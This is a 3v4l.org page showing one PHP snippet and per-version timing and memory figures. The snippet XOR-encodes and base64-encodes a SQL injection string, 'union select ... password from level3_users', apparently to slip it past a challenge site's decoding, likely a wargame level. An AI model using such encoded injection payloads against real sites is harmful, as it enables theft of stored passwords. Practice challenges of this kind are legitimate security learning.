3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("Admin union select 1,2,3,4,password from level3_users where username=Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0140.00018.75
8.3.30.0120.00318.76
8.3.20.0080.00018.78
8.3.10.0100.00018.78
8.3.00.0050.00319.38
8.2.170.0140.00722.96
8.2.160.0100.00320.34
8.2.150.0030.00524.18
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0050.00320.52
8.2.110.0060.00322.29
8.2.100.0040.00817.91
8.2.90.0000.01019.52
8.2.80.0090.00019.40
8.2.70.0040.00417.63
8.2.60.0000.00818.04
8.2.50.0050.00518.07
8.2.40.0000.00918.34
8.2.30.0050.00218.02
8.2.20.0040.00417.75
8.2.10.0000.00717.65
8.2.00.0030.00517.71
8.1.270.0060.00324.66
8.1.260.0080.00026.35
8.1.250.0070.00028.09
8.1.240.0110.00422.02
8.1.230.0100.00020.84
8.1.220.0060.00317.79
8.1.210.0070.00319.04
8.1.200.0060.00617.35
8.1.190.0040.00417.53
8.1.180.0000.00818.10
8.1.170.0000.00918.86
8.1.160.0000.00718.86
8.1.150.0000.00718.62
8.1.140.0040.00417.43
8.1.130.0040.00417.81
8.1.120.0000.00717.38
8.1.110.0040.00417.41
8.1.100.0040.00417.30
8.1.90.0040.00417.42
8.1.80.0000.00717.33
8.1.70.0030.00317.42
8.1.60.0030.00617.62
8.1.50.0000.00817.41
8.1.40.0000.00717.48
8.1.30.0070.00017.71
8.1.20.0050.00217.66
8.1.10.0000.00717.58
8.1.00.0050.00217.45
8.0.300.0000.00820.23
8.0.290.0000.00716.73
8.0.280.0030.00518.40
8.0.270.0030.00317.30
8.0.260.0000.00816.88
8.0.250.0040.00416.97
8.0.240.0000.00816.99
8.0.230.0050.00316.89
8.0.220.0030.00316.88
8.0.210.0000.00716.95
8.0.200.0030.00316.99
8.0.190.0060.00316.89
8.0.180.0000.00716.83
8.0.170.0030.00616.84
8.0.160.0040.00416.95
8.0.150.0000.00816.86
8.0.140.0100.00016.89
8.0.130.0000.00513.39
8.0.120.0080.00016.84
8.0.110.0030.00516.77
8.0.100.0000.00816.73
8.0.90.0040.00416.94
8.0.80.0120.00316.86
8.0.70.0000.00816.75
8.0.60.0040.00416.82
8.0.50.0040.00416.78
8.0.30.0040.01416.88
8.0.20.0100.01017.16
8.0.10.0040.00417.05
8.0.00.0090.00916.84
7.4.330.0030.00312.90
7.4.320.0000.00716.56
7.4.300.0030.00316.67
7.4.290.0000.00916.50
7.4.280.0040.00416.53
7.4.270.0000.00716.64
7.4.260.0030.00313.34
7.4.250.0000.00816.59
7.4.240.0030.00516.51
7.4.230.0080.00016.72
7.4.220.0090.01216.65
7.4.210.0090.00616.59
7.4.200.0030.00316.44
7.4.190.0000.00716.64
7.4.160.0030.01316.37
7.4.150.0060.01316.55
7.4.140.0100.00816.50
7.4.130.0100.00716.69
7.4.120.0120.00516.56
7.4.110.0070.01016.53
7.4.100.0070.01716.50
7.4.90.0030.02016.56
7.4.80.0030.01416.66
7.4.70.0030.01316.48
7.4.60.0140.00616.56
7.4.50.0070.00716.51
7.4.40.0150.00016.44
7.4.30.0100.00816.64
7.4.00.0070.01014.90
7.3.330.0070.00013.22
7.3.320.0030.00313.40
7.3.310.0000.00716.29
7.3.300.0030.00316.34
7.3.290.0060.00816.40
7.3.280.0090.01116.36
7.3.270.0070.01016.63
7.3.260.0120.00616.45
7.3.250.0120.00616.42
7.3.240.0130.00616.42
7.3.230.0090.00916.59
7.3.210.0110.00716.54
7.3.200.0090.01219.39
7.3.190.0130.00316.32
7.3.180.0060.01216.50
7.3.170.0100.00616.28
7.3.160.0060.00916.69
7.3.120.0000.01514.83
7.2.330.0090.00816.43
7.2.320.0000.02116.79
7.2.310.0070.01616.79
7.2.300.0100.01016.40
7.2.290.0130.01016.68
7.2.00.0060.00619.24
7.1.200.0150.00015.93
7.1.100.0060.00618.23
7.1.70.0000.01117.21
7.1.60.0140.01119.40
7.1.50.0100.01316.78
7.1.00.0030.03322.34
7.0.200.0050.00216.51
7.0.140.0070.07322.15
7.0.120.0030.04722.13
7.0.60.0100.05719.80
7.0.50.0000.05317.99
7.0.40.0070.04717.79
7.0.30.0070.07717.84
7.0.20.0130.08017.94
7.0.10.0100.07717.78
7.0.00.0070.06717.72
5.6.210.0070.06020.63
5.6.200.0130.06718.17
5.6.190.0070.06318.16
5.6.180.0070.07718.17
5.6.170.0030.06318.25
5.6.160.0070.08018.18
5.6.150.0030.04318.16
5.6.140.0070.08018.15
5.6.130.0100.08018.25
5.6.120.0000.04318.15
5.6.110.0030.05718.15
5.6.100.0030.04318.26
5.6.90.0130.04718.20
5.6.80.0030.04317.67
5.6.70.0030.04717.55
5.6.60.0100.07317.61
5.6.50.0100.05717.57
5.6.40.0070.07717.50
5.6.30.0030.08317.63
5.6.20.0300.04017.54
5.6.10.0070.07317.63
5.6.00.0070.06317.59
5.5.350.0170.04320.54
5.5.340.0100.07017.93
5.5.330.0000.06718.04
5.5.320.0100.08017.99
5.5.310.0100.07717.98
5.5.300.0070.07718.03
5.5.290.0030.08318.08
5.5.280.0200.06717.92
5.5.270.0070.06717.96
5.5.260.0100.03717.95
5.5.250.0100.08017.79
5.5.240.0070.07017.38
5.5.230.0100.05017.32
5.5.220.0130.07017.41
5.5.210.0100.07017.37
5.5.200.0130.06017.30
5.5.190.0070.07717.36
5.5.180.0130.06317.39
5.5.160.0070.07317.37
5.5.150.0070.06317.36
5.5.140.0030.06017.39
5.5.130.0030.04317.30
5.5.120.0030.07317.30
5.5.110.0100.04017.34
5.5.100.0130.07017.24
5.5.90.0000.06317.23
5.5.80.0000.04317.20
5.5.70.0170.06717.27
5.5.60.0100.07317.22
5.5.50.0100.04717.21
5.5.40.0070.07717.21
5.5.30.0100.06317.31
5.5.20.0030.05717.27
5.5.10.0000.08317.32
5.5.00.0030.05017.32
5.4.450.0130.06719.43
5.4.440.0100.04019.46
5.4.430.0070.05019.38
5.4.420.0070.05319.41
5.4.410.0000.05719.21
5.4.400.0030.05718.96
5.4.390.0170.07019.03
5.4.380.0100.07019.27
5.4.370.0100.07719.13
5.4.360.0070.04719.10
5.4.350.0100.04018.96
5.4.340.0030.06319.12
5.4.320.0030.04019.02
5.4.310.0100.07019.03
5.4.300.0130.05718.95
5.4.290.0030.08319.12
5.4.280.0030.08318.98
5.4.270.0130.06019.09
5.4.260.0030.06019.13
5.4.250.0100.04719.00
5.4.240.0030.04019.13
5.4.230.0000.04719.11
5.4.220.0030.07719.03
5.4.210.0070.06319.07
5.4.200.0070.05319.01
5.4.190.0070.05018.85
5.4.180.0030.08719.11
5.4.170.0100.06719.06
5.4.160.0070.07019.04
5.4.150.0230.06019.00
5.4.140.0100.05016.52
5.4.130.0100.03716.35
5.4.120.0000.06016.45
5.4.110.0070.07016.52
5.4.100.0070.05316.48
5.4.90.0030.03716.29
5.4.80.0000.05316.44
5.4.70.0000.04316.29
5.4.60.0070.05716.35
5.4.50.0200.05716.53
5.4.40.0130.04716.50
5.4.30.0030.05316.27
5.4.20.0030.03716.55
5.4.10.0070.03316.30
5.4.00.0130.06715.87
5.3.290.0070.03314.70
5.3.280.0070.07014.45
5.3.270.0100.07714.68
5.3.260.0070.07014.66
5.3.250.0130.07314.65
5.3.240.0070.05714.64
5.3.230.0100.03014.56
5.3.220.0100.06714.61
5.3.210.0030.07314.43
5.3.200.0030.08014.60
5.3.190.0130.07014.59
5.3.180.0070.09014.53
5.3.170.0130.06314.62
5.3.160.0070.05314.56
5.3.150.0070.04014.61
5.3.140.0030.07714.66
5.3.130.0070.05714.61
5.3.120.0030.04714.55
5.3.110.0100.03314.59
5.3.100.0000.07314.00
5.3.90.0070.06014.01
5.3.80.0000.05014.05
5.3.70.0030.07313.87
5.3.60.0100.07314.21
5.3.50.0030.05014.02
5.3.40.0030.04313.96
5.3.30.0070.04313.94
5.3.20.0030.04713.73
5.3.10.0030.05713.55
5.3.00.0070.07013.73
5.2.170.0030.06011.20
5.2.160.0100.02311.21
5.2.150.0030.03711.00
5.2.140.0000.04311.21
5.2.130.0030.04311.15
5.2.120.0030.06011.18
5.2.110.0100.04011.18
5.2.100.0000.04711.17
5.2.90.0070.05311.21
5.2.80.0070.06711.13
5.2.70.0030.05011.14
5.2.60.0100.04311.09
5.2.50.0070.03710.93
5.2.40.0000.03711.00
5.2.30.0000.03311.18
5.2.20.0030.03010.81
5.2.10.0070.05710.86
5.2.00.0030.03310.68
5.1.60.0030.03710.05
5.1.50.0130.0379.97
5.1.40.0070.05010.02
5.1.30.0030.05710.39
5.1.20.0130.02710.38
5.1.10.0130.05010.02
5.1.00.0070.05310.05
5.0.50.0100.0308.63
5.0.40.0100.0378.39
5.0.30.0030.0678.28
5.0.20.0030.0438.27
5.0.10.0100.0378.27
5.0.00.0070.0608.27
4.4.90.0000.0378.27
4.4.80.0030.0238.27
4.4.70.0000.0178.27
4.4.60.0030.0378.27
4.4.50.0030.0208.27
4.4.40.0000.0578.27
4.4.30.0030.0308.27
4.4.20.0030.0338.27
4.4.10.0070.0338.27
4.4.00.0000.0478.27
4.3.110.0000.0278.27
4.3.100.0000.0408.27
4.3.90.0000.0338.27
4.3.80.0000.0338.27
4.3.70.0030.0338.27
4.3.60.0000.0178.27
4.3.50.0000.0308.27
4.3.40.0000.0338.27
4.3.30.0030.0378.27
4.3.20.0000.0408.27
4.3.10.0000.0308.27
4.3.00.0030.0338.27

preferences:
70.58 ms | 400 KiB | 5 Q